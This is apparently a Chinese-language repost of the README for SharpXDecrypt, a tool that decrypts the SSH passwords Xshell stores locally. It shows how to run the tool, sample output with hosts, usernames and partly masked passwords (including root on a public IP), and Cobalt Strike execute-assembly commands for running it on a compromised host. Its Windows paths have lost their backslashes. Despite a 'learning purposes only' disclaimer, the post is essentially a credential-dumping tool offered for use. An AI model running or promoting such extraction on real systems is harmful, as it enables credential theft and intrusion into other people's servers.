項(xiàng)目地址

https://github.com/JDArmy/SharpXDecrypt

簡(jiǎn)介

Xshell全版本憑證一鍵恢復(fù)工具，針對(duì)Xshell全版本在本地保存的密碼進(jìn)行解密，包括最新的7系列版本！

使用方法

cmd.exe 自動(dòng)尋找session路徑

C:UsersasusDesktopDEVSharpXDecryptinDebug> .SharpXDecrypt.exe


Xshell全版本憑證一鍵導(dǎo)出工具!(支持最新Xshell 7系列版本!)
Author: 0pen1
Github: https://github.com/JDArmy
[!] WARNING: For learning purposes only,please delete it within 24 hours after downloading!


[*] Start GetUserPath....
UserPath: E:NetSarang Computerxshell6
UserPath: C:UsersasusDocumentsNetSarang Computer7
[*] Get UserPath Success !


[*] Start GetUserSID....
Username: asus
userSID: S-1-5-21-736521517-423******97-1340300005-1001
[*] GetUserSID Success !


XSHPath: E:NetSarang Computerxshell6XshellSessions192.168.1.110.xsh
Host: 192.168.1.110
UserName: wwwuser
Password: www*******Aqx
Version: 6.0


XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessions192.168.1.110.xsh
Host: 192.168.1.110
UserName: wwwuser
Password: ww********Aqx
Version: 7.1


XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessionsTokyo.xsh
Host: 198.13.51.134
UserName: root
Password: W8*********PN__%
Version: 7.1

cmd.exe 指定session路徑

C:UsersasusDesktopDEVSharpXDecryptinRelease> .SharpXDecrypt.exe "C:UsersasusDocumentsNetSarang Computer7XshellSessions"


Xshell全版本憑證一鍵導(dǎo)出工具!(支持Xshell 7.0+版本)
Author: 0pen1
Github: https://github.com/JDArmy
[!] WARNING: For learning purposes only,please delete it within 24 hours after downloading!


[*] Start GetUserSID....
  Username: asus
  userSID: S-1-5-21-736521517-4232353097-1340300005-1001
[*] GetUserSID Success !


  XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessions192.168.1.110.xsh
  Host: 192.168.1.110
  UserName: wwwuser
Password: www*******qx
Version: 7.1


  XSHPath: C:UsersasusDocumentsNetSarang Computer7XshellSessions新建會(huì)話.xsh
  Host: 127.0.0.1
  UserName: root
Password: 78******6
Version: 7.1


[*] read done!

Cobalt Strike

execute-assembly /path/to/SharpXDecrypt.exe
execute-assembly /path/to/SharpXDecrypt.exe  "C:UsersasusDocumentsNetSarang Computer7XshellSessions"